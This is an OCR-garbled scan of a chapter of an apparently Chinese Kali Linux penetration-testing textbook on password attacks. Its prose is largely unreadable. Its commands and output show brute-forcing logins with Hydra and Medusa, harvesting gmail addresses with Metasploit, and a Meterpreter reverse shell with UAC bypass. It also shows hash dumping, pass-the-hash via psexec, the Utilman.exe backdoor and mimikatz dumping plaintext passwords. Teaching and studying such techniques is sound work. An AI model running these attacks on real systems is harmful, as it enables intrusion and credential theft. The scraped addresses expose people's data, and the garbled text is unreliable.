(5) MazSFinn] L34 T if 23 vuhtish, mdse s, B 7.28 frog
EP

P 7.28 BRI ek

(6) MizFtmnl LLE 345 4% Done,found 18 explmt modules {.. B, #75 Subterfuge %
718 AEaFE e, RN PR Kali B, CEF S fER Hop N . S H AR T
HL'i;f‘.r'ﬁ'IJ Kali | (] Subterfuge I, ¥f2x Ha) 0 8) & (11215 B 5 tHfu EHLAS0 s .
B, Kali &40 4 o i FE 7.29 Fios i) ¥-1i.

P 7.20 ) s AL

« 230 .
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(7)) LLE S s B3 Hin 4L 192.168.6.113 i T Xk 411 Subterfuge. IR
nf LA 4T 2 if, ¥ 7.30 Fros.

B 730 72l

(8) MazStminl LGS, BEhdT T =120 A RUR s {4~ 2%, 34T
I Hbx B4 Shell, W& 7.31 k.

ead impersonation. Retrying without it.

P 7.31 Shell &1

(9) Mz St el LA B o e 3 7 — M fE 2l

-34{].
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E8E ¥ i I¥ 1

)

ERHGE A RIEE AR R, RIS S UG P 2 E A
SR WAL ANBENAN B, AT RSN G, fECIA R B
LATCAR AT 2 s AT ARE S 3 T AT AR L, S A ALLT- {79 R A (i Sl 11 PR 1) R 4 35 )
PR W A7k AREf A S AR Y Jrik, WE 2R Bt . i b 4 s A Tt
B A T,

8.1 EALIE LR AR

Sy TAEH P ETh S B H AR RS, LA SR AN R & Y. 7E Kali b, fE£k
fil f s B ) T HAR &, Hooboge i T 0005 3504 B Hydra Bl Medusa. A<37%5 41 244# ] Hydra
Hl Medusa 1. H s IS5 75 2k 1

811 HydraI &

Hydra J& /4998 M 58 0 S il T H o 2 T H SRR LT Bedy Pl i) £ 265 bk
fi#. W FTP. HTTP. HTTPS. MySQL. MS SQL. Oracle. Cisco. IMAP Hl VNC %, 1L
IR AT HINE, SCBRAE T U R B S O. IRE R P THEXS Hydra EERGAE, Hhi%
THATEE S, HAREH g, FEAR Lafbl “)5” #4E. g H4i{E A Hydra T
FLWL o R e 0

fiiF] Hydra T H@ffiRre s, FARER LR T s,

(1) Jislh Hydra Zibio 16 Kali SO0 2GES: “ WS [Kali Linux|] “ #6504 |
“PEEEGT [hydra-gtk dr4, o o WP 8.1 BRI Fii .

(2) SR T8 H bR R A AL S VRIS R A S I B L
% Output Options HEP 1] Show Attempts B iEHEZ) . 7F 1% 510115 Passwords LTI+, 45
SR 4 8.2 foR ) S .

(3) feizdtinda e P 2 FE sy R CE. AF R Kali RE0hF7em /P A0
33 fF, JFik+F Loop around users LS. oo, H & 24 1% 0 304 0 W) fR A7 A
fusr/share/wfuzz/wordlist/fuzzdb/wordlists-user-passwd/names/nameslist.txt Hl/usr/share/wfuzz/
wordlist/fuzzdb/wordlists-user-passwd/passwds/john.txt 1.

(4) WE SIS, i Tuning IR, R 5 wilE 8.3 B ftif.

(5) FEAZS 00 BCE AT 55 g o A I ). SR AT 95 K2 A035, AR ss e v 42
o TR, B LA UCH EORERA AR 5580 5 1o il 2, BRI S 15, SR S5 Exit
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after first found pair () RIEHEZ) I, Fasgk B155 A VLRC IR W) b A

Hydra (o[ x] Hydra =
(@) iHia)
Target rmurﬂhmppmm:lsuﬂ Target Palswnrd!|Tm[5pﬂi:|sm|
Target LUsername
® Single Target [1 92.168.41.142 2 Username ['rﬁ'll'm ]
O Target List [ ® Username List \wedfnames/namelist. tx1} [
& Loop arcund users ‘
[] Prefar IPW&
Port o [~ ) Password |',~u1lp=s: |
|
Protucol [m-,-sql | > ® Passwaord List |iiwd.fpii:‘i'i‘diﬂl:lhl'l.h:t| |
Eutp T Colon separated file
[ Use 551 [ Be Verbose D) Use Colon separsted fle [ I |
H# éh“" Attempts [ Debug [ Try login as password #1 Try empty passwaord
hydra -V -L ¢ -P fusr/sharafwiuzzfwordlistifuzzdbfwordlists-user-pass.. hydra -L fusrisharefwfuzz/wordlistfuzzdbfwordlists-user-passwd/nam..,
P 8.1 5 B St e 8.2 R T

(6) LL MR E# R ESE S, i3 Start L300 R T Soidi, e 8.4 k.
:d-l'lr-:lrl m

l#diia)
Tlrgnth.nﬂrﬁ Tuning H#ld'i:limt|
-Parformance Dptions
Mumber of Tasks 2 K
Timeout 15 ;

& [Exit after first found pair

Use a HTTR/HTTPS Proxy

® Mo Proxy ) HTTP Methad ) CONNECT Method wHydra m
iBiti@)
Proxy [http:.fa'l 2?.0.0.1'505’0]
Target | Passwords  Tuning | Specific | Start
[ Prowxy meeds authentication Dutput
Username [yaumm- ] ‘
Password [-,-nupas: ]
Sth [Etnpl | Save l;'n.ﬂ:pn.n’cJ | Clear Dutput]
hydra -L ¢ -P jusrishare/wiuzz/wordlistifuzzdbiwordlists-user-passwd.,. hydra -V -L jusr/sharefwfuzz/wordlistifuz zdb/werdlists-user-passwd/...
83 JEAWLE fel 8.4 M Frii

(7) RIS b TVUNMEHL a2 sl 5k, PRArsih AT Erdi . 1X 5L fil
Start f&ZH JFAGECly, Bodiid B 8.5 s,

. 242 -



8T Wi

xHydra - |0 x
_Ed:l[ﬁ]

—

Target Passwords Tuming Specific Start

Cutput
Hydra v7.6 [€]2013 by van Hauser/THC & David Maciejak - Tor legal purpases only I]

Hydra (WEtpfhaww. the.erglthe-hydra) starting at 2014-05-08 17:19:09

[I}A1.ﬁ| £ tasks, 1 server, 5926954 l.m]:n treag {1:190 .-'.'p 3108], -29834 TR iries par task
[DATA] attacking servce mysgl an port 3306

[ATTEMPT] targat 192.168.41.142 - login "0" - pass ™ - 1 of 5926956 [child 0]
[ATTEMPT) targat 192,168.41.142 - Login "0 - pass "123457 - 2 of S926956 [child 1]
[ATTEMPT] target 192.168.41.142 - logn "root” - pass "L2345" - 2 of 5931972 [chald 1]
(ATTEMPT] target 192.168.41.142 - logn "reot” - pass "abcl23” - 3 of 53931972 [child 1]

[3206][mysql] host: 192.168.41.142 login: root password:
finished>

m I 2
Start Stop Save Output Clear Qutput

hydra -V -L fusrisharefwfuzrziwordlistfuzz dbfwordlists-user-passwd/name sinamelist. txt -..
85 T

(8) xHydra T.HARSE A P 2 EM P& H, JETILE. 3BTRS R H
FAARERSR, W e, e 8.5 Bk

8.1.2 Medusa TE

Medusa T H il ok 347 55 e 3 ) WA ) %, e R H s 2 56 0 ik 45 7 1) A3 IRL .
Medusa FESERHF M FEAESS, W AFP. FTP. HTTP. IMAP. MS SQL. NetWare, NNTP.
PcAnyWhere, POP3., REXEC, RLOGIN, SMTPAUTH. SNMP, SSHv2, Telnet, VNC

1 Web Form %F. FHIF /2748 H Medusa T 5 U th 8% 1915 ) #.
il Medusa T H . {E2% 55 4217 medusa ay<,  W17F o
root@kali:~# medusa

Bl R LT e < R FE R [Kali Linux| “#0000E " | “YELR I Imedusa
A, B R B S B

Medusa v2.0 [http:/iwww.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net=
medusa: option requires an argument -- 'h'
CRITICAL: Unknown error processing command-line options.
ALERT: Host information must be supplied.
Syntax: Medusa [-h host|-H file] [-u usernamel|-U file] [-p password|-P file] [-C file] -M module
[OPT]

-h [TEXT] : Target hostname or IP address

-H [FILE] : File containing target hostnames or IP addresses

-u [TEXT] : Username to test

-U [FILE] : File containing usernames to test

-p [TEXT] :Password to test

-P [FILE] : File containing passwords to test

-C [FILE] : File containing combo entries. See README for more information.

-0 [FILE] : File to append log information to
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-e [nfs/ns] : Additional password checks ([n] No Password, [s] Password = Username)

-M [TEXT] : Name of the module to execute (without the .mod extension)

-m [TEXT] . Parameter to pass to the module. This can be passed multiple times with a
different parameter each time and they will all be sent to the module (i.e.
-m Param1 -m Param2, etc.)

-d : Dump all known modules

-n [NUM] : Use for non-default TCP port number

-5 : Enable SSL

-g [NUM] : Give up after trying to connect for NUM seconds (default 3)

-r [NUM] : Sleep NUM seconds between retry attempts (default 3)

-R [NUM] . Attempt NUM retries before giving up. The total number of attempts will be

NUM + 1.

-t [NUM] : Total number of logins to be tested concurrently

-T [NUM] : Total number of hosts to be tested concurrently

-L : Parallelize logins using one username per thread. The default is to process
the entire username before proceeding.

-f : Stop scanning host after first valid username/password found.

-F : Stop audit after first valid username/password found on any host.

-b : Suppress startup banner

-q : Display module's usage information

-v [NUM] : Verbose level [0 - 6 (more)]

-w [NUM] : Error debug level [0 - 10 (more)]

-V : Display version

-Z [TEXT] : Resume scan based on map of previous scan

LL S 0 f5 B T medusa ar 2 13 BD{5 B . 4% meduas dr & 952, w1
eI A 2 E . F e DUHAEE B T, SRR N Rk TSR ER th AU . RS
TR AT A AL

[32508-11 i H] medusa 5 AR HRNE S 192.168.5.1 A 2%, $iTdr S F A os:

root@kali:~# medusa -h 192.168.5.1 -u admin -P /usr/share/wfuzz/wordlist/fuzzdb/wordlists-user-
passwd/passwds/john.txt -M http -e ns 80 -F

Medusa v2.0 [http:/iwww.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net=
ACCOUNT CHECK: [http] Host: 192.168.5.1 (1 of 1, 0 complete) User: admin (1 of 1, 0 complete)
Password: (1 of 3109 complete)

ACCOUNT CHECK: [http] Host: 192.168.5.1 (1 of 1, 0 complete) User: admin (1 of 1, 0 complete)
Password: admin (2 of 3109 complete)

ACCOUNT CHECK: [http] Host: 192.168.5.1 (1 of 1, 0 complete) User: admin (1 of 1, 0 complete)
Password: 12345 (3 of 3109 complete)

ACCOUNT CHECK: [http] Host: 192.168.5.1 (1 of 1, 0 complete) User: admin (1 of 1, 0 complete)
Password: abc123 (4 of 3109 complete)

ACCOUNT CHECK: [http] Host: 192.168.5.1 (1 of 1, 0 complete) User: admin (1 of 1, 0 complete)
Password: password (5 of 3109 complete)

ACCOUNT CHECK: [http] Host: 192.168.5.1 (1 of 1, 0 complete) User: admin (1 of 1, 0 complete)
Password: computer (6 of 3109 complete)

ACCOUNT CHECK: [http] Host: 192.168.5.1 (1 of 1, 0 complete) User: admin (1 of 1, 0 complete)
Password: 123456 (7 of 3109 complete)

ACCOUNT CHECK: [http] Host: 192.168.5.1 (1 of 1, 0 complete) User: admin (1 of 1, 0 complete)
Password: huolong5s (8 of 3109 complete)

ACCOUNT FOUND: [hitp] Host: 192.168.5.1 User: admin Password: daxueba [SUCCESS]

A it S B W i b R s i — AN, T’xﬂ"rl[l r?.’ﬂ‘lty'\ﬂxl H P 44 s i s 2

—L._il1J! HJ] '{erll r-!fl_1jf|¥'l~)l\: UFL:/l ﬂ” jh 'Uhﬂ Ixt, lt_[l‘i[réf{

admin., {HE LiEisys
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T R AT RO . MBS T mAEE, TR 2Bt 2 H P 2 R A
-4 admin 1 daxueba.

8.2 4 M B A

(eSS EARY T, A F I AT BT 40 BT 0, S5 M 47 3R
2 AR R IR AT AN BN (S . AW A 4 Ettercap T HL 2k
MSFCONSOLE 34t % b1,

8.2.1 Ettercap TH

Ettercap /& Linux /M oo T H, & B -1 Windows. H /7 S {6 H] Ettercap
R b ) 7 DR 3 ) £, LIJEH\I“J%EP‘IG?&.‘FU W A 25 PP o (e L, 0o i Wy B4 2
— AN AL V5. R ERE 4 Ettercap T LfEH] .

{ifi | Ettercap 73 #7 % 650 R A8 120 W T Frow.

(1) AL Ettercap M 'E '+ etter.conf. ¥ 504# H locate iy % A4k #1| Ettercap A ¥
PERAE A . AT a4 R AR

root@kali:~# locate etter.conf

letc/ettercap/etter.conf
fusr/share/man/man5/etter.conf.5.gz

MEL 55 B, TG 2] Evercap Bic ¥ S etter.conf {747 7F fetc/ettercap/ .

(2) ] VIM il etter.conf L& . K% 0 AFb ec_uid 1 ec gid B & W & 0CH
0, J§#F Linux #53 J 3L IPTABLES 738 idw. B0 B F Fios:

root@kali:~# vi /etc/ettercap/etter.conf

[privs]

ec_ uid=0 # nobody is the default
ec_gid=0 # nobody is the default

# if you use iptables:

redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j
REDIRECT --to-port %rport”

redir command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -
REDIRECT --to-port %rport"

(3) Jri3)) Ettercap. {iiJf] Ettercap a4 1-G XL, Jo 2 EE S . PUAT a5 2 W0 R Ao

root@kali:~# ettercap -G

AT L B4 0n . H R Wi 8.6 BT ir) S .

(4) R H] A NG A2, WO H bR RS LA P S B i LI ok
F ety BERY S IS A 0. OS] Ettercap SR AT, FEEE T RLIEA A, XA
PRBEIA o
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ettercap 0.8.0

File 5niff Options 7

B 8.6 Ettercap #)&i ¥t

8.2.2 {#H MSFCONSOLE ##i%& 4%

i ] Metasploit MSFCONSOLE [1) search_email collector #Lk4pHr 585 i) . il =k 1% pbie ]
LLARARE — AN A DS ARG B . XL E B By B P, B i 20 I8
e F i

(1) {#ff] MSFCONSOLE. 74 0 F i

root@kali:~# msfconsole

msf =

(2) frif] search email collector Bk, 44T w4 Wi KA.

msf > search email collector
['] Database not connected or cache not built, using slow search
Matching Modules

Name Disclosure Date Rank Description

auxiliary/gather/search_email_collector normal Search Engine Domain Email Address Collector
msf >

PATLL B4 )5, e h ER L LG R, i f£/E search_email collector
fidh
(3) (¥R BIHLE: search_email_collector. AT Ar 241 FHros:

msf > use auxiliary/gather/search_email_collector
msf auxiliary(search_email_collector) >

g S B2, )43 search email collector #iidl .,
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(4) 7ii5 search email collector Bikit N3 ki, 4T a4t T Fros:

msf auxiliary(search_email_collector) = show options
Module options (auxiliary/gather/search_email_collector):

MName Current Setting Required Description

DOMAIN yes The domain name to locate email addresses for
OUTFILE no A filename to store the generated email list
SEARCH_BING true yes Enable Bing as a backend search engine
SEARCH _GOOGLE true yes Enable Google as a backend search engine
SEARCH_YAHOO  true yes Enable Yahoo! as a backend search engine

i {5 2 o T search email collector Fibk e 7 20 14 A0 &g o, #R4EH P B O
it IR R 2 (14
(5) R4y I E DOMAIN il OUTFILE i35, 4n1F k.

msf auxiliary(search_email_collector) > set DOMAIN gmail.com

domain == gmail.com

msf auxiliary(search_email_collector) > set outfile /root/Desktop/fromwillie.txt
outfile == /root/Desktop/fromwillie. txt

(6) JashiBiEYdr . AT AW F i

msf auxiliary(search_email_collector) = run
[#] Harvesting emails .....

[*] Searching Google for email addresses from gmail.com
[*] Extracting emails from Google search results...

[*] Searching Bing email addresses from gmail.com

[*] Extracting emails from Bing search results...

[#] Searching Yahoo for email addresses from gmail.com

[*] rasvin.247@gmail.com

[#*] read. jeff@gmail.com

[*] restore.adore@gmail.com

[*] rhetoricguy@gmail.com

[*] sammy@gmail.com

[*] signaturetitleservices@gmail.com
[#*] smplustb@gmail.com

[*] starfyi@gmail.com

[#*] taylorhansson@agmail.com

[*] thanhtam.hr@gmail.com

[*] theidleague@gmail.com

[#*] tjarkse@gmail.com

[*] toni@gmail.com

[*] user@gmail.com

[*] wvintageheadboards{@gmail.com
[*] wvlyubish270@gmail.com

[*] webuyrarebooks@gmail.com

[*] yavmamemogames@gmail.com
[*] yoyonorfcack@gmail.com

[*] Writing email address list to /root/Desktop/fromwillie.txt...
[*] Auxiliary module execution completed

St AfE B 7T gmailem BYREFE e, JF AP E B RAFTE  fromwillie.txt
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8.2.3 M#FHEIRFI T HE Hash Identifier

A (A AE T HASH 5300 0 02 s 509 2 0 8ol . AR A 7848 ) HASH 8ie
fs f}JLiU”{“ A AN A . R A A €448 1 Hash Identifier "1 FLTH 5 w5 75 (5 00 hn s 7y =0
(1) §1zh hash-identifier 74> . 5P ISk Gk FE « 0 HFE” |Kali Linux| #5541
7| ek hash-identifier 74, U R TR G B

# AW AN A S L T #

#0000 - WA VoAV AVVAN #
N N A T O A R T AR RN
#OOALUA L TN (ARSI #
#0OVUAUN N N WA S #
# VNN NN/ VoA W fV D v #
# By Zion3R #

# www.Blackploit.com #

# chct@Blaﬂkplmt com #

HASH:

MO SR E B HASHAR /ST, #i& ki sh4T T T hash-identifier iy 40 ¢85 .
e, Py LM hnss s #5{0 .

(2) Fili 6bcec2ba2597f089189735afeaa300d4d WA {i. FATAr4 Wl FFis:

HASH: 6bcec2ba2597f089189735afeaa300d4

Possible Hashs:

[+] MD5

[+] Domain Cached Credentials - MD4(MD4(($pass)).(strtolower(Susername)))

Least Possible Hashs:

[+] RAdmin v2.x

[+] NTLM

[+] MD4

[+] MD2

[+] MD5(HMAC)

[+] MD4(HMAC)

J!}'I'\ﬂﬁﬁlllll ff’J '|r|| E'f’ “J— lle. i'_ j"” 6bcec2ba25971089189735afeaa’00d4 “ ﬁ'] '|rJ_[ “J‘ ]TL =} ﬂ_m
MDS I .

8.3 A% LM Hashes & 3

LM (LAN Manager) Hash J& Windows {1 545 & L0803 i 75 51k 2 —.
Windows 2000, XP. Vista 1 Windows 7 " T 55 0ERY NTLMv2 201, JX2EME—n]
IR AS . CCU ) A R AR LS SR LM W5, (B 30 00 T8t m) fs e 4
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AL AE Windows Vista fil Windows 7 1, 1 5L ER D2 MEARHT 0. AT 40 ol i i LM
Hashes % i),

7t Kali Linux ', ] EL#H] findmyhash T _H . fi# LM Hashes #t%. Hrp, findmyhash

A AR IR By

findmyhash <Encryption> -h hash

LLEEEA, S AN LR R
a Fncryptmn } s i FH ARG i g A iy
e FRGE EALAE ) LM IS
[:il:‘ﬁll 8-21 {#H] findmyhash fir 4 Hili LM Hashes 4. 4T dr 540 F k.

root@kali:~# findmyhash MDS5 -h 5f4dcc3b5aa765d61d8327deb882cf99
Cracking hash: 5f4dcc3b5aa765d61d8327deb882cf99
Analyzing with md5hood (http://md5hood.com)...

... hash not found in md5hood

Analyzing with stringfunction (http://www.stringfunction.com)...
... hash not found in stringfunction

Analyzing with 99k.org (http://xanadrel.99k.org)...

... hash not found in 99k.org

Analyzing with sans (http://isc.sans.edu)...

... hash not found in sans

Analyzing with bokehman (http://bokehman.com)...

... hash not found in bokehman

Analyzing with goog.li (http://goog.li)...

... hash not found in goog.li

Analyzing with schwett (http://schwett.com)...

... hash not found in schwett

Analyzing with netmd5crack (hitp://www.netmdScrack.com}...
... hash not found in netmd5Scrack

Analyzing with md5-cracker (http://www.md5-cracker.tk)...

... hash not found in md5-cracker

Analyzing with benramsey (http://tools.benramsey.comj...

... hash not found in benramsey

Analyzing with gromweb (http://md5.gromweb.com)...

#2+2+ HASH CRACKED!! ###+++

The original string is: password

The following hashes were cracked:

5f4dcc3b5aa765d61d8327deb882cf99 -> password
P A 945 SR BGE LM Hashes #5720 200 - B M98, f5 )5 SRR MG A (i

5f4dcc3b5aa765d61d8327deb882¢99 [1) Jul i 5 hid 2 password

WA A% LM Hashes AP 115, 0] LU#H Metasploit (1Y) psexec #Ht%¢1t Hash

R IR A 2348 ] psexec #EL4E1E Hash {11 /i,

(1) LA HerEHL (Windows 70 Bizfr Veil @Rl 47 34 backup.exe, HELl
BRI AR 2, W R B

[+] Started reverse handler on 192.168.6.103:4444

[#] Starting the payload handler...

[*] Sending stage (769536 bytes) to 192.168.6.106

[*] Meterpreter session 1 opened (192.168.6.103:4444 -> 192.168.6.106:49160) at 2014-07-22
15:28:55 +0800

MEL A5 B, nJEUE BRI T 2148 1.
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(2) BFEH/PBREE. AT .

meterpreter > getuid
Server username: WIN-RKPKQFBLGEC\lyw

Mt s B, nf BLE B H P PR S Al B R . #2 Rk, fITH] bypassuac
1”'1'}3, lJ_UAC
(3) &% lyw H FPaeid UAC, A4 F k.

meterpreter > background

[*] Backgrounding session 1...

msf exploit(handler) = use exploit'windows/local/bypassuac
msf exploit(bypassuac) > set session 1

session => 1

msf exploit{bypassuac) = exploit

[+] Started reverse handler on 192.168.6.103:4444
[#*] UAC is Enabled, checking level...

[+] UAC is set to Default

[+] BypassUAC can bypass this setting, continuing...
[+] Part of Administrators group! Continuing...

[*] Uploaded the agent to the filesystem....

[*] Uploading the bypass UAC executable to the filesystem...

[*] Meterpreter stager executable 73802 bytes long being uploaded..

[*] Sending stage (769536 bytes) to 192.168.6.106

[*] Meterpreter session 3 opened (192.168.6.103:4444 -> 192.168.6.106:49160) at 2014-07-22
15:34:38 +0800

meterpreter > getsystem

...got system (via technigue 1).

meterpreter > getuid
Server usemame: NT AUTHORITY\SYSTEM

M R0 Eeb, T RLA B UE Tyw PR 2480 SYSTEM.
(4) ff Hbr EHL AT P s 05 0. AT dr a1k fross:

meterpreter > run post/windows/gather/hashdump
[#] Obtaining the boot key...

[+] Calculating the hboot key using SYSKEY 45fa5958a01cf2b66b73daa174b19dae. ..

[+] Obtaining the user list and keys...

[*] Decrypting user keys...

[*] Dumping password hints...

Test"123"

[*] Dumping password hashes...
Administrator;:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b7 3c59d7e0c088¢
0:::

Guest:501:aad3b435b51404eeaad3bd 35b51404ee:31d6cfeld16ae931b7 3c59d7elc089c0:::
Test:1001:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cha88547376818d4:::
HomeGroupUser$:1002:aad3b435b51404eeaad3b435b51404ee:daf26fce5b47e01aae0f919f529
926e3:.;
lyw:1003:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cbaB8547376818d4:::
alice:1004:aad3b435b51404eeaad3b435b51404ee:22315d6ed1a7d5f8a7c98c4 DeSfa2dec::

M {5 B, o7 UG Bk 205 A H P mes 75 S 05948 . tE i, o] LI H| SMB psexec
flithe# i Hash {4 .
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L5) 'Ilr[]l,_‘f,l Fa L|12 ':H‘L’“ I-J? ,IH I )‘Il-f'J\

meterpreter > background
[*] Backgrounding session 2...

(6) {#H] SMB psexec #ibt, JFir B S EEMSE . ATaS W T e

msf exploit(bypassuac) = use exploit/windows/smb/psexec

msf exploit(psexec) > set RHOST 192.168.6.114 g B iE E b
RHOST == 192.168.6.114
msf exploit{psexec) > set SMBUser Test #igH SMB AP

SMBUser => alice
msf exploit{psexec) > set SMBPass aad3b435b51404eeaad3b435b51404ee:

22315d6ed1a7d5f8a7c98c40e9fa2dec #igH SMB %5
SMEBPass == aad3b435b51404eeaad3b435b51404ee:22315d6ed1a7d5f8a7co98cd 0edfaZdec

(7) Jaaheds. $irarS i Fie.

msf exploit{psexec) = exploit
[+] Started reverse handler on 192.168.6.103:4444

[*] Connecting to the server...

[*] Authenticating to 192.168.6.114:445|WORKGROUP as user 'lyw'...

[*] Uploading payload...

[#] Created \XBotpcOY.exe...

[+] Deleting \XBotpcOY .exe...

[#] Sending stage (769536 bytes) to 192.168.6.114

[*] Meterpreter session 3 opened (192.168.6.103:4444 -> 192 168.6.114:49159) at 2014-07-22
17:32:13 +0800

Mo Bk, wLLERMER “Test”™ HFABRIIRFTH T 21k,
8.4 #%if Utilman B3k

Utilman #& Windows 38 T HASHEES . 1ZFE 2 (77t Windows SR40 AP B i i m)
A, HEWN P RELRE R JF"‘F HahtlEr, ST REIEFETRIESCEE. &
Windows |, {# /] Windows+U #1758 0] BLiF B Utilman #EF8 . A7 444850 Utilman §2
PP ARG, HinT LUOSAT KA aF .

(1) 7t Windows ¥}, J52) Kali Linux LiveCD, 14 8.7 fi.

(2) (LSS Live (686-pae) , i R[] 452 L] J5 2h Kali Linux, Wil¥ 8.8 firo.

Sat Jul 19, 5:17 PM
E3 Homse Folder
[. Desktop

ul -_ :::-r"u}-.\:r_ 8

Floppy Drive

= 43 GB Filesystem I

I S fatwor

Connect to Sarve

P4 87 Kali Linux 5| 55100 2 8.8 Kali Linux & 1F &4
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(3) e AT Windows SO &4 . F Kali Linux 52 iEHE Places|43GB
Filesystem #£I0, K547 R4 8.9 Fraxiy i . X HLAY 43G 25 1A Windows &4 AL

Ko

2454E29854E26CAC [ _ o x|
File Edit View Go Bookmarks Help
Devices 'J| E 43 GB Filesystem @& B | Q search
S RAGE ProgramData Program Files GMDownload
B120G68.. & B
compete - - -
Bl Home Recovery $Recycle.Bin System Volume
i Desktop Information
& File System - -
& Trash
Users win3 2-loader Windows
Metwork
o k -
&S Browse Net... _l I_I.
Windows XPE kiR autoexec bat config.sys
[ I

4 8.9 Windows £ ) SCfEFn S0 {3

(4) izl T Windows #1F & 4 b 89 30 SCPF ke X BRI AT JF
Windows|System32 JCF3k, A5 20l 8.10 Frorir) N .

System32 5%
File Edit View Go Bookmarks Help
Devices ¢ _ PR Nl Windows _ stem32 B B Ao Snrchl
JRREE usarepl.dil usaranwv.dll usarinit.axa
Hi2o0cB., & "
-y 3 -y
Computer - : 1
& Homie usk rs uspli0.dil utildil.dll
|8 Desktop B = A = )
& File System = Iil l_‘=‘_|
i thame. dll
E Trash Utilman.exe ux uudf. dil
3 3 ) k
Network I';i :‘r l; l
®s L= L] L]
ol UX nit.dlL uxlib.dll uxlibres.dil
¢ ¢ ‘ |
= I =
ue s el uxrheme dll w7una rom

g 8.10 System32 Hat il 5

(5) iz ®] Utilman.exe S0, i 0 Edr 4 4 Utilman.old. #4552

emd.exe A, FEH IO 21BN Utilman.exe.
(6) BI7E ] Kali Linux, J:§15h Windows & 47 . & 3t ¥l 4% F Windows+u 41 &8t

¥ on B 8.11 Fros i S .
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% 8.11 Windows ©F % ¥l

(7) MAZFITPT AR BT T ar 2 3en & K. /s 0o, ar T —4% DOS
. W, A whoami dr & & HHI 5, AR W 8.12 Frosi Fim .

518.12  HI P BURRAE B

(8 M San t iy 5 i g LU 3, 5 P 30 e e AR o e, B el AR AR AT 1
R (5

M3 T g%t Utilman 35 fi7, 0] LUE ] mimikatz T 54k & H b5 2480808 AN 1)
WY, R E A mimikatz T H, M EER S E %0,

FERRAE 2 s 2l — S e 1T/F. 5% M http://blog.gentilkiwi.com/mimikatz % 5 | 3%
mimikatz T H, H#HfF{04 4 mimikatz trunk.zip. %55 &80, JFEES D
USB BBt e A, A5 68 He i) S F R A B0 ) mimikatz H 5.
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(1) {F &4 43 Utilman Bypass, LB REIT Lo 4.
(2) 74 S0 1 Windows S04 F Windows+u #1488, i 8.13 s,

P 8.13  Kshir 4T

BRI 4B ] Windows+u 41 & 8255 DOS % 115, 1% 0 LS X 0 a1 12 30,
g A 2R, FEARPTE RN EE. ITLATTER] DOS & A EE s, J9On T
e e, ik 8.14 fras.

| Ee |

AR AEA
) 1] s
TR (1) 00 -
B0

T (L) 0
AT %5

HOMmE

EiL) 18
Eim 244

¥ R E O )

5 8.14 R R
fEZ SR IESE “Ai " AR5, O REE P O P SR PRIl “ e
fedl, RnEs) b hm T N 7.
(3) A4 8.13 HalAFH], Windows7 REATHUEIRA . SEIRrld 7 fr 217 AT —
Hoir 4152 Windows P &5, 1 Scrfiih 2 ar P B, ST a4tk B

C:\Windows\systema32> whoami
nt authority\system
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(4) HEAF| USB R4k p, JrdrGEa PNz, AFdpm USB fid S F. ., ird
AA0F [T

C:\Windows\system32=> F:
F:\=dir mimikatz

2014/05/26 03:45 4,311 README.md
2014/06/15 04:54 Win32
2014/06/15 04:54 x64

M s B, LA #) mimikatz H b3 =430k, b Win32 f1 x64 #on
mimikatz B RCAS . HEE ) CURY AR S R R B N R AR, A P i R At 32 v,
FIr LA FEA F] Win32.,

(5) A Win32 Ha PN %

F:\=cd mimikatz
F:\Mimikatz=cd win32

F:\Mimikatz\Win32=>dir

2014/06/15 04:54 29,056 mimidrv.sys
2014/06/15 04:54 189,936 mimikatz.exe
2014/06/15 04:54 27,632 mimilib.dll

METH O fE Brb, ATBAE R Win32 H b =430k, HP, mimikatz & — 4047
..-I;{-.}I:ri-'n
(6) iz{T mimikatz F2I7. AT A% 0 F ok

F:\Mimikatz2\Win32>mimikatz
M. mimikatz 2.0 alpha (x86) release "Kiwi en C" (Jun 14 2014 22:54:04)
A
O\ e
#Ht\/# Benjamin DELPY "gentilkiwi’ ( benjamin@gentilkiwi.com )
"W v hitp://blog.gentilkiwi.com/mimikatz (oe.eo)
R with 14 modules = * #/
mimikatz #

it (5 R 7R T mimikatz (128 H1 0665 E, i mimikatz #E R 77 RoR I B L F T
mimikatz F£7*.

(7) B . AT a2 IR s

mimikatz # sekurlsa::logonPasswords

gy

mimikatz # sekurlsa::logonPasswords full

P b R BT R S B

Authentication Id : 0; 10201252 (00000000:009ba8a4)

Session : Interactive from 1
User Mame s lyw
Domain : Windows7Test
SID 1 8-1-5-21-2306344666-604645106-2825843324-1001
msv :
[00010000] CredentialKeys
= NTLM : 32ed87bdb5fdc5e9cha88547376818d4
= SHA1 : 6ed5833cf35286ebf8662b7b5949f0d742bbec3f

[00000003] Primary
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+ Username : lyw

+ Domain  : Windows7Test

= NTLM : 32ed87bdb5fdc5e9cbaBB8547376618d4

= SHA1 1 6ed5833cf35286ebfB8662b7h5949f0d742bbec3f

tspkg :

wdigest :
+= Username : lyw
= Domain  : Windows7Test
= Password : 123456

kerberos :
= Username : lyw

= Domain  : Windows7Test
* Password : (null)
ssp:
credman :
ML =S (5 Bl BG4 B P T B W P 4 &R i HASH 1 .
4 R 5

8.5 BRMELE I KA T H mimikatz

mimikatz 3000 A R R AR RE T H . % T H A B AR AT R
o BLFE CHHS N2 Metasploit (22, FEAEA Pl N2k Meterpreter Bitt. =550
I*J'JJ‘.}-E(EEU A FE TG, A mimikatz T ] DUIE SR PR SRS . AR A 2R 4E
mimikatz |~ FL & %105,
(35650 8-31 Al H mimikatz P& ol A%, FAAERAP IR F TR,
(1) JEEEE HFrFEHL (Windows 7)  FIzfT Veil QAT 017 30 backup.exe, FRHT
AN PSR W TR

.....

msf exploit(handler) = exploit
[*] Started reverse handler on 192.168.6.103:4444

[+] Starting the payload handler...
[*] Sending stage (769536 bytes) to 192.168.6.110
[*] Meterpreter session 2 opened (192.168.6.103:4444 -> 192.168.6.110:1523) at 2014-07-19

16:54:18 +0800
meterpreter >

M A6 S, ATEAR BRI S| T — A5 192.168.6.110 EHLAZ 2.
(2) Wik HERRL P ROBUR . 0t &30 B

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Mg s B, ATLLEFIYATA P S EREAUR . by, oy DLk T Hofh#e 0 T .
(3) %k mimikatz FH . AT @2 W0 F Ao

meterpreter > load mimikatz
Loading extension mimikatz...success.

